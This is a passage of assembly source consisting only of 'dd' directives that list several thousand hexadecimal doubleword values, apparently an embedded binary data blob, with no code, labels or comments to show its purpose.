dd 311D0085h, 0EB21F857h, 7C007443h, 763A6139h, 0C7FFD8h
dd 0B5A25EDCh, 0F4934207h, 0DEBB3Eh, 0BD278E4Ch, 0F55FDB7Fh
dd 0C9A0D080h, 0DFA66336h, 2B309C7Ch, 0F5DE18AFh, 73D80038h
dd 59C61B99h, 65012C1Dh, 5A330EF9h, 0EAD023A4h, 89CD0031h
dd 3AAB4903h, 81000A99h, 0F861098Fh, 448117Bh, 0E175FE1Dh
dd 0CD2E0080h, 1CBD5B65h, 704121Bh, 401413h, 83238F8Eh
dd 0E6816101h, 1936DD02h, 87DFCE8h, 80F0530Ah, 0C7159501h
dd 0E7D728BAh, 458167B7h, 8EF41EA4h, 0CD010110h, 0E19CB09Ah
dd 7CD3DF09h, 8899E088h, 5139E300h, 443447Bh, 1887F082h
dd 80D1145Bh, 53304C1Ah, 8B811833h, 99E16069h, 65922C06h
dd 68CA4C32h, 0B94B4374h, 40D402D3h, 7C533D8Eh, 8D0FA060h
dd 9C33AA09h, 0F15581F2h, 58BA1FE7h, 4BA3C680h, 4C8F836Ah
dd 18118B31h, 1DFC9D2Bh, 8E1B0FB2h, 0A1032F39h, 1AC1B5E6h
dd 0B8E43099h, 0A478FA68h, 65670105h, 48025884h, 10D1176Eh
dd 0F940587Bh, 75561401h, 760CCCB7h, 17E818E9h, 0F0C42A46h
dd 4DC039BCh, 0F4150390h, 789536D9h, 8C9A31D9h, 0F1FB7968h
dd 0A0DE1BC0h, 0C4C0A9E1h, 991DB841h, 803E5579h, 4BDAFE2Ch
dd 0F530CAh, 2142BC01h, 0BE5EE6D5h, 0B8F79900h, 352DA0B1h
dd 0E129C8DBh, 0AF14B080h, 3C0E9E8Eh, 1E0EA0BDh, 0D209CA9h
dd 16B5A3C0h, 8D9AAB00h, 6A76F604h, 78F33032h, 3765DD09h
dd 6CE0F000h, 8C510A4Ch, 8999012Bh, 489263CFh, 0DA9AE082h
dd 0E9E6BF00h, 1A9C2984h, 0DF993FC9h, 44B0B80h, 31564FC6h
dd 1F0F8F03h, 87FC2DD8h, 0FE17EB51h, 0FDEBAE4h, 0B5DBB782h
dd 0D867921h, 0C4DD218Ch, 0DF002B53h, 1CBA4BFh, 3A439Ah
dd 0A3B4A57h, 0B65405Eh, 0BE022CE6h, 8A5F45FAh, 0F7A081A3h
dd 4840AAE2h, 0E279FF06h, 0B2C900E4h, 0ED80017Ah, 47005162h
dd 28BD3336h, 0F90C19h, 0A627FE1Eh, 0FB739737h, 0EA7CF200h
dd 0FA4E477Bh, 9BED03AAh, 0C3F6E091h, 79BEA000h, 0BB5CFF59h
dd 3A5607CFh, 8D6F9E83h, 0B58EDC80h, 0DD04F90Eh, 5B51038Fh
dd 36B1E1E3h, 66DAFCh, 0FC40C2Eh, 0AFC0CBB5h, 37330700h
dd 94F4DB26h, 7DC50057h, 6FDB705h, 2D009892h, 0CF0B4680h
dd 0EF4D7Ch, 0C299EDC1h, 5F7AD982h, 3BBD7700h, 0A3F93DF7h
dd 0F2209057h, 0A27FB4h, 88B12AACh, 74A522B6h, 802BAA3Eh
dd 0A6BABB85h, 28A376h, 5A6CD5F6h, 6284B3D9h, 67DEF100h
dd 86BBD655h, 0A8910038h, 0E98E4D4Bh, 7500ACDBh, 818368C3h
dd 3EEE3F94h, 0A40FBE4Eh, 0D0E01DAEh, 0EC7738E3h, 0F0360400h
dd 0F54870E4h, 85A30075h, 5C2BFA49h, 0E200011Ch, 4E8CCB5Bh
dd 7DB90A7Ch, 67360087h, 310B6C68h, 0B30006A9h, 0CDC75CBFh
dd 3291C1h, 0A0BBB2F8h, 2B95AFC4h, 9DCC2000h, 8BBC101Bh
dd 0CA1E3F29h, 0BB0D1A86h, 0B1002093h, 0FDDDDE7Fh, 0F1E557h
dd 0D2C241FBh, 0E9EE54FEh, 0E143F900h, 8EACB263h, 746B047Dh
dd 8097BD1Eh, 3589C3B3h, 0D7E51D00h, 0DB59A30Ch, 16EC07CFh
dd 8F312942h, 20F5C387h, 36E1BF25h, 0BE45A500h, 673FB2D1h
dd 0D00B0197h, 137CC9FEh, 536196h, 853395D0h, 76002979h
dd 5047C5E0h, 755518h, 3E3A3BDDh, 0C479045Fh, 15772C00h
dd 0F69596A4h, 5E8A009Ah, 0FD76F103h, 0E47B73A2h, 0E3ACA107h
dd 6F0046FAh, 3ACD5Eh, 0D181D5AFh, 0EF1ACFD2h, 14A35F1Fh
dd 0E2C3CE40h, 60FC875Ah, 0D2B0117Fh, 0D0000296h, 0D56B8D51h
dd 0A0F1C61Fh, 18241B4h, 0A49983DCh, 20E95F2Bh, 0D1FE308Ch
dd 0DB6B3Eh, 18856041h, 0ECFBA43h, 30CD74E9h, 0B9CC5E40h
dd 3B003F12h, 0E2481432h, 0C2A1F72h, 9195E1F7h, 0C106D430h
dd 0B9DF1EE0h, 76443070h, 0F02C28F0h, 0F340C060h, 0EF6CEC9h
dd 0E913C3F2h, 0B61C34A0h, 6F00E578h, 105C40C2h, 5DECBFh
dd 0DC6C3E90h, 0FCD9047Fh, 59C9E300h, 4ACF855Ch, 0D18A0093h
dd 55746352h, 0BC033726h, 0D95822B0h, 0F7C0C4CFh, 0CCF453h
dd 0DE6A4070h, 0D3B259BAh, 5B7AC107h, 0A89CF2F3h, 6AD5006Fh
dd 5ADD8B60h, 0CB007B50h, 0E0895E68h, 607A4D59h, 3F7020D3h
dd 0BD009C1Dh, 0BBB02417h, 910201h, 0A82D14BEh, 222103B9h
dd 8F6CF312h, 5D344002h, 0C6F200FDh, 0FB005080h, 0DC446DCDh
dd 380AE97Ch, 7D8F52EBh, 64E107CCh, 87AD8137h, 299E3030h
dd 334F1940h, 1F3A7E04h, 827E8822h, 3EA3D3DBh, 0F9CBE080h
dd 2A000A6Eh, 0A742C3D0h, 0F43945A0h, 4BF200D9h, 8CBA8F0Eh
dd 0EC0022B3h, 34DF70C5h, 510804Ah, 4F4E1E83h, 0FFB800BDh
dd 7F5079D1h, 0C5C25816h, 5FE06400h, 97FA1Ch, 716A9226h
dd 47704246h, 9F1C674Ch, 75380BE2h, 0B0840440h, 65A8902Dh
dd 0E624709Ch, 0AE008CCDh, 75E412C8h, 9424005Ah, 0A2868139h
dd 3402A607h, 884608B2h, 519C40E5h, 5A640017h, 0CC1E102Ah
dd 55002EBAh, 29C523B7h, 97FCEBh, 0DDC45ACEh, 8C2A81CDh
dd 0F3DC350Eh, 11BAE032h, 71981BE7h, 0D25D00BDh, 0B27B5531h
dd 66744E05h, 0EE5F6E1Ch, 0A400AA96h, 2A27A71Ah, 28360787h
dd 1C4AA02Fh, 941D1450h, 439C1FBFh, 9B1F885Fh, 6AA67FC0h
dd 0EC73E9Dh, 874E98ABh, 13B493A2h, 45C4DC68h, 82813400h
dd 360D9EC8h, 842600A3h, 0F39CBCBFh, 2B0FA233h, 2027A483h
dd 4B97D353h, 0F24409E3h, 0DE8031D9h, 0EF81C768h, 0E64DDD07h
dd 46714328h, 0E824BD99h, 0A3C9EC39h, 0ECC1C4D4h, 65CD04DCh
dd 6F3C18D0h, 3E7D185Dh, 384CF102h, 1882E13Ah, 24803145h
dd 1DE8343Fh, 16C433Ah, 4D3DA5D6h, 0FFECDC55h, 3ED33C61h
dd 21119607h, 0D0E1CCB0h, 475CDD00h, 223CDC56h, 7039D8D7h
dd 0F51FF821h, 5F005E31h, 0D8CBFE47h, 3C38002Fh, 0C34B17FCh
dd 614DE05h, 1449645h, 1EE86DB7h, 54407C3Bh, 1578ADh, 9FF8C4A8h
dd 0AD4FF21h, 12096EEEh, 3187F91h, 0AA7BFAE4h, 56A0E0DEh
dd 0A5A01D7Dh, 3EE47h, 87C78B1h, 0DF0011A9h, 15F0FF1Eh
dd 73FCE2Fh, 9984C9D2h, 684390F1h, 0FB000D97h, 601058AAh
dd 3CE4E0Ch, 1E075B3Ch, 0A972C63Ah, 38D639h, 5D0BF5F1h
dd 50ABAA14h, 88D1C8EEh, 0C4076CDEh, 6B5B1EBDh, 42C0BC4Eh
dd 47531F93h, 0B848C0A2h, 7BD93CD3h, 0F834AD3Fh, 100363B0h
dd 91833512h
dd 0BB700ED4h, 7809244h, 311C0371h, 0B5899FF5h, 95A62D80h
dd 0E3539Eh, 0D88AFAB4h, 45876C79h, 0D598DE1Bh, 9C30AF91h
dd 0B069E116h, 1D57B0BEh, 6EEBF11Bh, 4FAE0AFAh, 27F981ECh
dd 606DCA88h, 95007933h, 3A45047Bh, 3C576F7Dh, 46BC43F4h
dd 0FACCC2Eh, 2100395Fh, 140BC1E8h, 4B74BC00h, 1EBBD340h
dd 8E9F3C45h, 0AE304680h, 0B15118F1h, 48862200h, 52CD0D09h
dd 147A0277h, 0C4B93D53h, 45308481h, 40918059h, 19F74FEAh
dd 0FFB00479h, 0C0C93574h, 99BA5D4Bh, 8BE26D00h, 3364059Eh
dd 78A30026h, 5DCE9FC5h, 0FC608180h, 0F5BC1829h, 0D16E03F6h
dd 0A1779DD6h, 5E6E0870h, 0F5B34020h, 0FAEFF0DAh, 0E2390CAFh
dd 4258B11Fh, 5DF7FA0Bh, 62700633h, 8720C160h, 87640CC9h
dd 0AC5DF840h, 0B545C641h, 0F3DA1180h, 0ED33B73Ch, 3B621B0Ch
dd 0C0DC08DDh, 3CEB7421h, 0B53C0795h, 43E28136h, 0FBED15DAh
dd 600B12DCh, 2EE580ACh, 78C17527h, 0A5C7FA6Dh, 2FB91882h
dd 15007A6Fh, 83997F13h, 0F1618806h, 10A653h, 5054594Dh
dd 0E35DCDD5h, 808C243Dh, 0CCE635BEh, 0E45E8Fh, 7578AC7Fh
dd 5368ADEAh, 0FBD2D400h, 92BDE310h, 795BB8C6h, 1D78F9h
dd 0F8C22270h, 453B9815h, 550AF400h, 0DCB1FF4Bh, 6EAE3A4Eh
dd 0AC823D8Eh, 94E9EB20h, 0F6009E34h, 55F850A0h, 0FFFF430h
dd 0D122D5Dh, 960370Eh, 2B35244Ah, 0BE0431D0h, 835C840Dh
dd 6C7A2010h, 0ABE73100h, 9DD1F224h, 0FC7F25h, 40844679h
dd 418E3D3Ah, 2969AB32h, 9F461010h, 0CD093489h, 100C1264h
dd 0A8899B4Bh, 63443208h, 4FF144F8h, 849C9444h, 2262BC22h
dd 95F6F054h, 0AE087089h, 5032F820h, 44672840h, 8D88E497h
dd 41CC00CEh, 51DCE6E1h, 0C603D872h, 0CDE3EB43h, 0D0C34Eh
dd 9568EC20h, 87B023A1h, 9E00157Eh, 0B32AA699h, 7FCFFD6Eh
dd 527F3994h, 77D39004h, 849380B6h, 4E0087D7h, 859EDCD5h
dd 20DF6Dh, 72B8248Ch, 0CFE791B9h, 5CEA3B2Dh, 0FF1600BEh
dd 0AC8F5144h, 0ED91F00h, 1075F584h, 0A2710381h, 79C43913h
dd 3F9E3FE9h, 34DDFE0h, 0AD7E9BACh, 0BCF84418h, 1B00D484h
dd 7959F635h, 0CD8037h, 5263AA54h, 5FCE44B9h, 0A8007FF8h
dd 0B6F94715h, 608B5711h, 1AC2706Bh, 0B012942h, 51E2B404h
dd 0E2603A5Bh, 0D0FE0E2Dh, 15433B22h, 6C831FBh, 910024F2h
dd 3C1F579h, 319BAF9h, 0EEADCF49h, 0E688406Fh, 6C01536Eh
dd 5E3E6AECh, 0E88029D9h, 0B2CD720Fh, 4EFA6EC8h, 97BFDD17h
dd 0E18B100h, 3BD957h, 1C382291h, 0EEFB4B0Ah, 6F2E4D00h
dd 0F121D261h, 0A1060094h, 0FF05D7EFh, 7716A067h, 4B043C15h
dd 70904E2Eh, 0DE040Ah, 0AB25828Ch, 6BD94AA6h, 8081A23Dh
dd 0F80EDC1Ch, 1F432A85h, 5A5F73h, 21CA2458h, 0A300C791h
dd 0E7B7D80Ah, 95943h, 26740E4Bh, 0F03AA617h, 0A8041A00h
dd 95D7A934h, 0E1C204EAh, 803384B4h, 0FF7035B0h, 0FC43C928h
dd 8955170Ah, 2D00B4D7h, 0FDCE08BEh, 0FA0F02Bh, 0B342928Eh
dd 0BDE90200h, 0B4002A49h, 2C41E3C1h, 0E40705h, 0DD9A640h
dd 4C27840Fh, 0AEC79A03h, 99FE79ADh, 1DD02A2Dh, 6F789Bh
dd 2732CF44h, 914B01A7h, 0A36D8800h, 0E90C9F5Fh, 82840063h
dd 0B96ED13Bh, 0C803502Dh, 1F4FE8F9h, 0CE98D18Eh, 3DF0EEFCh
dd 0F180189Ah, 0BB114056h, 0EC0F6F3Ch, 0E065C6C5h, 79B09C58h
dd 56B30098h, 0D4CCD877h, 5505366Ch, 902D3BA9h, 874C2A80h
dd 24250E85h, 0D880399Bh, 0AF2384CFh, 77188800h, 4D80C0D6h
dd 0E3DB005Fh, 1F9867E5h, 6101FC6Eh, 37B37917h, 68014AEh
dd 99034C3Bh, 64077BDCh, 6E75DAD3h, 400ADB32h, 186E72Ch
dd 3FB26FF9h, 30650196h, 8D04BCFCh, 1E0E2258h, 5E5A0C80h
dd 46700063h, 565FF3D7h, 6A0F6168h, 0E6F2D64Ch, 75206055h
dd 0CB7003Bh, 21BD7D81h, 0BB009397h, 26828A1Fh, 38919D28h
dd 4A80AEDAh, 7E56DCCFh, 700F0B16h, 0E0D5C51Bh, 6A2AECFAh
dd 0F140FCBh, 4D0BE0F1h, 709BAF07h, 1DCC216Eh, 0A47851h
dd 6CE0C794h, 6D754513h, 501E1042h, 21266083h, 57B624E9h
dd 274C096Fh, 0FF1D9400h, 7B20FEDCh, 91460016h, 0C8056C8Dh
dd 74722E4Eh, 0B553F800h, 8BDDC05Eh, 2C5C9067h, 930407E4h
dd 3A4C40DFh, 3017952Fh, 0A4481C0Ah, 0F900A815h, 3D1DBE59h
dd 637F011Eh, 66CB91C5h, 0E66420DBh, 0FB923A05h, 0F2004575h
dd 7B177A5Bh, 1ECB0063h, 9F34F671h, 6A133E4Fh, 1009FD31h
dd 0C3B0A74h, 0B8009513h, 45C793C1h, 86D12810h, 1BE003F8h
dd 98B3112h, 1CA1A780h, 5D622400h, 0B00B3E43h, 77B1039Fh
dd 32549A0Fh, 0D39BCFA8h, 3E6F1B1Dh, 403049h, 0B8738FC0h
dd 0A09A96h, 0B6E1979Ch, 9D728390h, 798A9907h, 674292B4h
dd 3A906062h, 0C9600078h, 0C65B68A9h, 0CFEA793Ch, 0EC879F00h
dd 116E450Ah, 6B9B0086h, 8824DF0Fh, 400B827h, 731FCC93h
dd 5EAF970h, 0C34983B9h, 0E5EBC0DDh, 82004277h, 0DCEEA3FCh
dd 0B86AB83Ah, 311007Dh, 48B3B16Bh, 0B628C1EBh, 0F41EAC72h
dd 23807470h, 4E4F5E6Fh, 0C8B3506Ah, 0B142008Fh, 943D7072h
dd 9F000ED1h, 23D20B3Ch, 4F127h, 4853D4E1h, 0F8B7C4E6h
dd 0EA001898h, 0A96A9232h, 3ED88Ch, 0AB6CEE9Fh, 48B259D2h
dd 0A003490h, 0E3DE5020h, 68D8E6h, 0A1B9846Bh, 0CA18B645h
dd 4DD56E03h, 0A199D9DFh, 0EB5A7Fh, 7BB99338h, 6E0F8A59h
dd 0A7242E1Ch, 504ECC0h, 6022E87Dh, 0C4D328CFh, 0D10E4E5Ah
dd 0C1F4A656h, 13732BBEh, 24A14C60h, 124893F1h, 638C0319h
dd 0BCA01ADCh, 0C0085FFh, 0BE20B727h, 0E4E3A1h, 0B1845953h
dd 30F45D01h, 639DA60Fh, 7D01BC8Ah, 7552C9EDh, 389471C8h
dd 21E07943h, 0BBE41342h, 140488D3h, 0B641F072h, 20778359h
dd 5E2461C4h, 4C00C3F2h, 0B84268E4h, 48E900E0h, 0EB1190C1h
dd 3A0435BEh, 6E5F9ED0h, 0A84188C0h, 992C0055h, 3BBA15B5h
dd 4F00EEF6h, 0CA7E8A5Bh, 0EC850A6Bh, 575C00E2h, 0EBE0F5A2h
dd 0C2076574h, 410C3828h, 85F4B6F0h, 80E00EAh, 614321EFh
dd 9B289C8Eh, 8D07C390h, 0C8C47114h, 5B8E156h, 1DB72B44h
dd 6E20D036h, 4A74662Fh, 973B8CE0h, 214CC77h, 5621CB87h
dd 948480A7h, 130FCDD0h, 65AD31h, 73F2981Ch, 970E4F30h
dd 0F3C81AEFh, 81901040h, 18989F88h, 40A128DEh, 0C90C825Fh
dd 793A2526h, 10153B3Ch, 7AE88E80h, 92398B72h, 34FC0DEAh
dd 88068174h, 697FFD4h, 53F4A090h, 5F930E4h, 0B04EC480h
dd 0E29B6D10h, 7D0A1548h, 3CC721Eh, 9735FB85h, 5D449000h
dd 0E4BA0BA4h, 1EBC796Ch, 0C0910AB4h, 7051CB6Fh, 8D028655h
dd 0C276C5B1h, 0C8ECE371h, 48590721h, 670228C4h, 0D2451448h
dd 0AF2F7400h, 309FE8A8h, 5190041Ch, 340083CDh, 822C3A0h
dd 127B39DBh, 0E9438EAh, 35602B08h, 9FB30577h, 341DC507h
dd 0D9901AE2h, 7DC1F73Ah, 0BE7F00EDh, 9807CC86h, 0D03A1B0h
dd 0BFC8C984h, 10E9F894h, 34090018h, 0AD4F1DFCh, 2A00F4E3h
dd 1E9D171Fh, 0F563E85h, 9EE16412h, 0F83B4BE0h, 0A8717795h
dd 988B8700h, 18FAB811h, 9A2B1EEBh, 0AC454790h, 312CF08Ah
dd 0A174261Dh, 9B44E500h, 94A5E0EAh, 8428007Bh, 988A724Fh
dd 81587997h, 0E6007D2Eh, 7AF4AF33h, 20C8743h, 0FEAD1DD3h
dd 0CE604270h, 20C735D2h, 0C090A9DFh, 51F1B5h, 47E02BACh
dd 5AF6B6C3h, 0DE29B400h
dd 0BD6A3A66h, 0C6DC6AC9h, 16F171Bh, 1CA8D188h, 3F706476h
dd 8C717D2Eh, 8024C089h, 95DDA128h, 1E2FCD6h, 17E46D12h
dd 0E07A7B5Eh, 0BD0753EBh, 0D2B0B435h, 0CEA1802Fh, 483C766Eh
dd 7400BFF8h, 216C86Ah, 272EEB78h, 0D300E823h, 95F4A72Ch
dd 8E4A8F0h, 5A341FDFh, 0FC1C80A0h, 3C422989h, 1A021307h
dd 2B409439h, 75C5A6Bh, 7E86669h, 4B097065h, 32603BDBh
dd 5C2F5558h, 0DA0E3ED0h, 204A5F9Ah, 512989C0h, 2031FB00h
dd 0CA0C9145h, 0AA7209F9h, 0BC8F491Ch, 0AD4C00B3h, 0AB398A82h
dd 0FBDA3507h, 13939185h, 0EC280297h, 3EBF88CDh, 2BDC5468h
dd 47008DEEh, 0A61A1681h, 795298CFh, 0FD3B0017h, 6C3F65DBh
dd 0DA5D4CA0h, 161903C0h, 0F899A322h, 723F6F9h, 30CDFF02h
dd 6D211229h, 36000870h, 5F3F8B73h, 70A8EDAAh, 962800F9h
dd 12DB40C8h, 0E139ECFh, 8000DDB7h, 0CC698490h, 5FC8F7CEh
dd 3C3903C3h, 0AB80ACB3h, 0A4401B82h, 8F03B155h, 302E280Eh
dd 0DF228095h, 0EBA40351h, 0E2B61F29h, 928AD83Fh, 0AF078E9Dh
dd 3A8088B7h, 1969C9Bh, 838BAC41h, 0D09A9932h, 0D50176A0h
dd 0DF598ED0h, 8930E6C8h, 5C7300D3h, 5AE0C6E7h, 47008A57h
dd 983575B1h, 2CB059Ah, 5FA9CC2Fh, 0F4685EF2h, 5004C596h
dd 0C8E1AF8Ah, 0BB370CC1h, 61C020h, 3FFD644Ah, 0CCF71550h
dd 5EDAE39h, 0F1428755h, 0C19BFC00h, 9DA5A9h, 0B1832606h
dd 3AD74B0Bh, 0F4EC6400h, 5C72E251h, 0F74F070Ch, 4043F2B8h
dd 60741AB4h, 5610C600h, 0AB98C3ADh, 1DD0008Dh, 0F2545CEAh
dd 590403FBh, 0A3BB34F0h, 885265C1h, 0E872DCh, 39C5711Ch
dd 33C2D39Eh, 37ACF20Fh, 0A4EAAAEBh, 87CBB16h, 8F0640CFh
dd 0C340C6DCh, 0E6D65C77h, 607B7Eh, 91242A3Ah, 350BCD8Dh
dd 309BD00h, 0E3A93D25h, 70D7F84h, 0C5F8CF63h, 0FED0B061h
dd 0BB1F0FDFh, 823BA4AAh, 8AEE2AD4h, 0B248402Dh, 67770010h
dd 6DF42EB1h, 21C3B5DDh, 0A8251C0Eh, 0E514BCh, 875315BAh
dd 0BFB1A801h, 56261E00h, 8A51E805h, 0A4EE72C3h, 4B7600F0h
dd 38645377h, 3AE4A4D2h, 0D5667300h, 469851B6h, 32718BCh
dd 9094206Dh, 7C009C90h, 0CB3DD7DFh, 17B039A3h, 0F0AC93AEh
dd 84037F41h, 0ECED3C5h, 9B1CF0DFh, 19AF1DB4h, 12003C9Ch
dd 1FAA1EE8h, 2300D994h, 0B33BAD35h, 0AFDB78h, 2B6657CFh
dd 5362CD50h, 29B2C200h, 77F2960Eh, 0A6870016h, 4A90011Dh
dd 6CF48D2Ah, 12827D05h, 0C9C036D4h, 934B6Eh, 46B7E7F5h
dd 20640FFBh, 96C19E00h, 18039A3Ch, 0C2991E3Fh, 0F3BC09h
dd 0B301AD3h, 67683697h, 0F8CB2500h, 0EEEB4345h, 3D6000D0h
dd 0A5F3737Fh, 2270CAD9h, 46F68600h, 9F34BEC7h, 0F76001A6h
dd 0D35076Ch, 241AEC0Ah, 37AB0B00h, 6396B5A5h, 56610077h
dd 952AB3C1h, 5F2E46C3h, 0D8800C3Fh, 697CBBC9h, 5AD20093h
dd 0D76367B1h, 22271F09h, 0BDBC2085h, 60EBB2h, 7497AF47h
dd 2F842478h, 78895280h, 1B8F3A3Bh, 0EBB007Ah, 37620C03h
dd 22E42EBCh, 0A75B1D09h, 3ED0803Ch, 0E0F23Fh, 90320AD2h
dd 0DBE641CBh, 66DF1B00h, 0ADBB101Ch, 34B272h, 0DCB286D2h
dd 857DBD0h, 0EEA07C90h, 0D70A4569h, 0D95865F5h, 0E0B0DC0Fh
dd 4202128Ah, 45190066h, 5059E3A2h, 0B7000454h, 0C8F39316h
dd 1E4AA0Ah, 0E5171511h, 0E2E08ED8h, 8B070240h, 0D46FD4F5h
dd 183F6C00h, 7F12A3B6h, 775D004Fh, 462C96C3h, 8300E303h
dd 1D26B486h, 19431Ah, 0EF2D5E80h, 8FFE2EFDh, 7EBD41Eh
dd 4B29A000h, 2CE9D9FBh, 3447C01h, 91262765h, 0D02F7DF1h
dd 0F6EA0E55h, 0A19BE07h, 0F3DF35FDh, 50BD7004h, 0C34334C0h
dd 0B32B0067h, 5B536B0Ah, 0CD015F0Fh, 8E293344h, 16CCAB9Dh
dd 0C5560512h, 90708ADDh, 0CDD16708h, 0BBA92105h, 0A0000B72h
dd 854A2CAEh, 8A6300B0h, 9D5D17DBh, 0F9005ECFh, 865755E9h
dd 58EF7675h, 4801000Fh, 2FF613C9h, 0C41C2596h, 29006EF1h
dd 0FCC30E57h, 7B5927A9h, 90EC00D5h, 9CF49945h, 3D481855h
dd 0DC14519Fh, 2C044094h, 342D3606h, 33D9C0C0h, 840900A2h
dd 479A388h, 0E3EA1375h, 4AE0A409h, 5E6CC012h, 37078C1h
dd 36649C67h, 885A964Eh, 0E1DE003Ah, 0D41F9E16h, 908D4707h
dd 809BD1A0h, 214C0E7Ah, 9F53DEh, 3BDAB2CCh, 11003A0Ah
dd 0A1570FBEh, 0C7EFE3h, 804F8E53h, 794E3286h, 62B0CB00h
dd 6A4584EAh, 0AC6348BCh, 8B1B6E00h, 0A48815E1h, 8F544C00h
dd 0C8E55A0Dh, 2A2600F5h, 0FE3073DFh, 0C7009C2Dh, 0B385DDF8h
dd 0FA351AFDh, 997C00E7h, 63F1E52h, 560004FBh, 6305E5F3h
dd 0F264BAh, 2B355AB7h, 53E9A793h, 3E28E200h, 0AF6DEDB4h
dd 0D4EB0026h, 0DF4EC439h, 2500FEF9h, 3675C690h, 748897h
dd 6F84ABA1h, 0D468B39Eh, 571ACA02h, 0A0F2C2E6h, 4942C9C4h
dd 626500C5h, 4C0DCC50h, 6F71C732h, 0EA95100h, 90060884h
dd 0E5C2059Ch, 0CAE47Fh, 0EADCDAD8h, 0B100F7E6h, 0DDE08C59h
dd 51B3AEDBh, 0B5F8C4A7h, 383CB962h, 5708C544h, 26E6F14Ch
dd 91D00E4Bh, 74B35E40h, 9F033E6Eh, 0B85D9290h, 0E0368A87h
dd 0A47F4Ch, 72D4D96Ah, 0E2C4EB65h, 0D7D87505h, 0C6806877h
dd 17535E7Ch, 0B55B7Eh, 0B9B6AC3Ch, 72165DD0h, 0C847F6E1h
dd 8001EE4Bh, 0E82953FEh, 0AE270500h, 295715FBh, 0A8786B00h
dd 796A6290h, 216E00B5h, 0FD1F7E45h, 57019C1Eh, 0BCE6492Dh
dd 0E8403E6Fh, 49960504h, 3D00B003h, 1DD88EDBh, 0A31730BAh
dd 0D800F7C2h, 78BCF9D3h, 0C60630F8h, 0A75338EAh, 0C7BB3900h
dd 284AAA17h, 6BFC079Ch, 548071A8h, 42D8C07Ch, 1400B662h
dd 58D58C52h, 1FC367h, 26667725h, 8602FA19h, 6109EC00h
dd 0FC963D3h, 6D10053h, 0D243CFCh, 0F612EE6Fh, 185D254Bh
dd 8DAAA240h, 1F9A9D6Eh, 83B87B8Bh, 6CF0B957h, 0A93BCEE8h
dd 9CBDA304h, 19C3D26Dh, 4CF9C905h, 0E88098D5h, 61AD2EEDh
dd 3D0046C1h, 0A738D171h, 0FA43CB63h, 30D2306Eh, 0F648CC20h
dd 9003C100h, 7E2DB466h, 0AC600F0h, 2F9C4D93h, 20090174h
dd 2AD1FB2h, 4181561Ch, 0BC7C0865h, 22D22A13h, 0D4A06984h
dd 74AB27E5h, 0CB721B00h, 0A8F8D7C7h, 973005CDh, 1C68D1BEh
dd 2CBBC7CAh, 59FA90EAh, 8A0122B3h, 1BA7D204h, 3CE041CEh
dd 57F80067h, 0A8AD9F4Dh, 0AF3EABA3h, 748DCC1Ah, 6A4C1000h
dd 9858F9E4h, 0BD3700BBh, 1F20BC25h, 3500EC03h, 1E19EA9Bh
dd 4B34A7h, 2B7137D6h, 0AF21CBE4h, 0B8DB7E0Ch, 7A07C832h
dd 91E030Ch, 0F143AFAh, 0B1870A7h, 110035FBh, 1A3CF202h
dd 3CEBE012h, 0F01E31DAh, 8F5201B8h, 0E8F4FE03h, 68001720h
dd 0CD2942Eh, 4861184h, 2407B343h, 2FE4B057h, 2000B05Bh
dd 2EC003CEh, 227009Dh, 0AA9C35C7h, 36EC171Ah, 0F72AA200h
dd 6E7B48Bh, 0BD78ECh, 0EFAA94E9h, 737C0D3h, 0A6D0C300h
dd 35BAD1F9h, 0CBC20C06h, 0AC20F1A5h, 0FC86E500h, 0F0AD2D70h
dd 8B2300E6h, 96327A0Fh, 2100ECF8h, 1A9D7EAAh, 56DCC2h
dd 731BC64Eh, 6A72CB70h, 7F9EC300h, 0A5E73C76h, 43D1000Dh
dd 1A712532h, 0EA169260h, 0C020840Fh, 74C98A2Eh, 6F7F50h
dd 593D24D3h, 0AEF15341h, 5E570D2Dh, 274B0034h, 0FC1C7C61h
dd 1507EA00h, 79C86986h, 8D5F00BEh, 7CADA4DDh, 0D50F830Bh
dd 0E01C640Eh, 2C77B411h, 71490050h, 0D2991369h, 0E700D8A2h
dd 557EEA8Dh, 168C90CCh
dd 0C991B974h, 0A0E0DADCh, 0D3074A46h, 30C6B80h, 0F0D2DD52h
dd 0BD3200C0h, 948F9F0Dh, 0FF1F76B8h, 4413B66Bh, 2FD6A00h
dd 90E3057h, 0DD99BD8Eh, 3C601E00h, 740EAF1Eh, 466223h
dd 3120EC94h, 985303B0h, 2B69F4C3h, 0F1E0BCD8h, 1C5B0C2Eh
dd 0E600DD90h, 0A766D6E2h, 0F813CC75h, 4400FC55h, 2C23D4A6h
dd 6815606Bh, 0F7A82D2Fh, 29005B7Fh, 4EF99671h, 580AE513h
dd 411E88C6h, 9400B963h, 5AF40CC9h, 0AC19F1DFh, 7D702DA8h
dd 43F874h, 98A0E123h, 517E27Fh, 62FE4E1h, 0BA38600h, 0DD40F08Eh
dd 0EEEEB8h, 0CDEB3A80h, 51107F6Bh, 6AE00800h, 0E1EF4EECh
dd 0E9A7959h, 0F9860738h, 60102207h, 0FA9833F8h, 81FDE800h
dd 0DC31D30Fh, 0ADF7004Ch, 76B7CC79h, 5FEEC3D0h, 6A5D6E01h
dd 61A158ACh, 36CF0D2h, 0C1E80D54h, 94885E30h, 0A01CAA65h
dd 0FFDF45C0h, 697DE402h, 1BD06040h, 0A73B01CFh, 849D2FD5h
dd 0BDA0404Ah, 412D2B4Ch, 47440095h, 1F3BB7E4h, 0C0C36E58h
dd 0AD333FFAh, 89009856h, 34446BE1h, 3FE4A9A0h, 2E80038Ch
dd 6062BE3Eh, 3790075Ch, 5090790h, 0C05D8C97h, 388C224h
dd 8ADCD565h, 72C0BF6Fh, 0BE1FC363h, 0DBDF6489h, 0CB00BE26h
dd 0A87E3DF8h, 3C9486h, 0AB8C79AEh, 0DF77948Bh, 5F0B62FAh
dd 0AA4FD2h, 0FDA2808Ch, 0B05959D0h, 40993A1Ch, 5A734A95h
dd 9400C391h, 0F21479F3h, 0F8A91DD4h, 0B088EAD5h, 1B282803h
dd 5CAB07E8h, 4797CF4Bh, 0F82E10B2h, 2C7A8EDCh, 39C09300h
dd 7244FE07h, 81621C13h, 0D0E499h, 0B3A1AB69h, 9145327h
dd 1DE8F24Bh, 0F013CA22h, 0C2F7BC0Bh, 8FBE8044h, 0C365E2h
dd 8005635Fh, 9606C6FAh, 1F2A5300h, 0E6D07F84h, 406000D9h
dd 0F4ECDB0Ch, 60B04DB7h, 0B913700h, 1CA5A102h, 3DAA009Fh
dd 0C3D80D7Fh, 0BA707DD5h, 0F84C0400h, 0ACB23A85h, 0CBA70099h
dd 1236C2E4h, 74258456h, 98A46BF0h, 0B3853h, 92B47BDEh
